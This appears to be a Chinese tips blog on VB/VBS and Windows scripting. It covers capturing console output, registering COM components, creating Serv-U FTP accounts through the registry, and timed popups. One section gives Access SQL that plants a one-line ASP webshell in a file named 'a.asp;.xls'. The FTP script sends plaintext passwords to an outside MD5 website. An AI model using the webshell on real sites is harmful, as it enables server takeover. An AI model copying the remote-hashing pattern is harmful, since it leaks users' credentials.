vb截取控制台回显的信息DOS窗口错误信息

在Windows环境下的所谓shell程序就是dos命令行程序,比如VC的CL.exe命令行编译器,JDK的javac编译器,启动java程序用的java.exe都是标准的shell程序。截获一个shell程序的输出是很有用的,比如说您可以自己编写一个IDE(集成开发环境),当用户发出编译指令时候,你可以在后台启动shell 调用编译器并截获它们的输出,对这些输出信息进行分析后在更为友好的用户界面上显示出来。为了方便起见,我们用VB作为本文的演示语言。
通常,系统启动Shell程序时缺省给定了3个I/O信道,标准输入(stdin), 标准输出stdout, 标准错误输出stderr。之所以这么区分是因为在早期的计算机系统如PDP-11的一些限制。那时没有GUI, 将输出分为stdout,stderr可以避免程序的调试信息和正常输出的信息混杂在一起。
通常, shell程序把它们的输出写入标准输出管道(stdout)、把出错信息写入标准错误管道(stderr)。缺省情况下,系统将管道的输出直接送到屏幕,这样一来我们就能看到应用程序运行结果了。
为了捕获一个标准控制台应用程序的输出,我们必须把standOutput和standError管道输出重定向到我们自定义的管道。
本站代码都经过亲测,运行无误。上面是复制的理论,所以摘下来。

, , , ,

常见组件的注册与反注册

据需要不同我们经常会卸载和安装Wscript.Shell,FSO,stream等对象,下在我说一下如何卸载和安装Wscript.Shell,FSO和stream对象
1、卸载wscript.shell对象
在cmd下运行:regsvr32 WSHom.Ocx /u
2、卸载FSO对象
在cmd下运行:regsvr32.exe scrrun.dll /u
3、卸载stream对象
在cmd下运行:
regsvr32 /s /u “C:\Program Files\Common Files\System\ado\msado15.dll

, , , , ,

access数据库中通过SQL功能导出Shell

‘如果你不知道access网站怎么导后门,可以试下这个
‘当然好多网站不会提供在线执行sql的功能,你可以通过其他方式写入一句话到某个表,再利用自带的备份功能

create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("a")%>')
select * into [a] in 'D:\host\myftpname\web\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd

, , , ,

使用VBS脚本创建FTP账号和在线开通FTP

'这是我写的一个自动创建FTP的程序,发出来供大家学习和使用,在线开通原理一样。
'无非就是要使asp有操作注册表权限,那就要将站点以admin身份运行,才能创建shell,这又是十分危险。

Dim ftpname,ftppass,webroot,disksize
 
ftpname="testftp3"
ftppass="abc123"
webroot="D:\wwwroot\test"
disksize= 512 * 1048576 '512MB

Set WshShell = CreateObject("wscript.Shell")
U1="HKEY_LOCAL_MACHINE\SOFTWARE\Cat Soft\Serv-U\Domains\1\UserList\"
U2="HKEY_LOCAL_MACHINE\SOFTWARE\Cat Soft\Serv-U\Domains\1\UserSettings\"
 
WshShell.RegWrite U1 & ftpname,"1|0"
WshShell.RegWrite U2 & ftpname & "\" ,Default
 
WshShell.RegWrite U2 & ftpname & "\Access1",  webroot&"|RWAMLCDP"
WshShell.RegWrite U2 & ftpname & "\DiskQuota",  "1|"&disksize&"|0"
WshShell.RegWrite U2 & ftpname & "\ChangePassword", "1"
WshShell.RegWrite U2 & ftpname & "\HomeDir",  webroot
WshShell.RegWrite U2 & ftpname & "\Password",  makeftpass(ftppass)
WshShell.RegWrite U2 & ftpname & "\RelPaths",  "1"
WshShell.RegWrite U2 & ftpname & "\SpeedLimitDown", "512000"
WshShell.RegWrite U2 & ftpname & "\SpeedLimitUp", "512000"
WshShell.RegWrite U2 & ftpname & "\TimeOut",  "600"
Set WshShell=nothing
WScript.Echo "OK"
 
Function makeftpass(byval pwd)
 Dim rt
 rt= Chr(97+Int(Rnd * 26))
 rt=rt & Chr(97+Int(Rnd * 26))
 makeftpass= UCase(md5(rt&pwd,32))
 makeftpass= rt&makeftpass
End Function
 
Function md5(byval strng,byval tp)
 Dim http,url
 url="http://www.suntw.com/demo/cmd5.asp?str=" & strng & "&t=" & tp
 Set http=CreateObject("MSXML2.XMLHTTP")
 http.open "GET",url,False
 http.send
 If http.status=200 Then md5=http.responseText
 Set http=Nothing
End Function

, , , ,

弹出对话框自动点击定时自动消失

Set WshShell = CreateObject("Wscript.Shell")
For i = 6 To 0 Step -1
WshShell.Popup i,5,"自设标题",4096+64+32
Next

在vbs中弹出消息共有3种:Msgbox、Popup以及Wscript.Echo,上面这种,第一个参数是消息内容,第2个是默认等几秒点确定,第三是标题,最后面的参数
vbApplicationModal 0 应用程序模式:用户必须响应消息框才能继续在当前应用程序中工作。
vbSystemModal 4096 系统模式:在用户响应消息框前,所有应用程序都被挂起。

, , , ,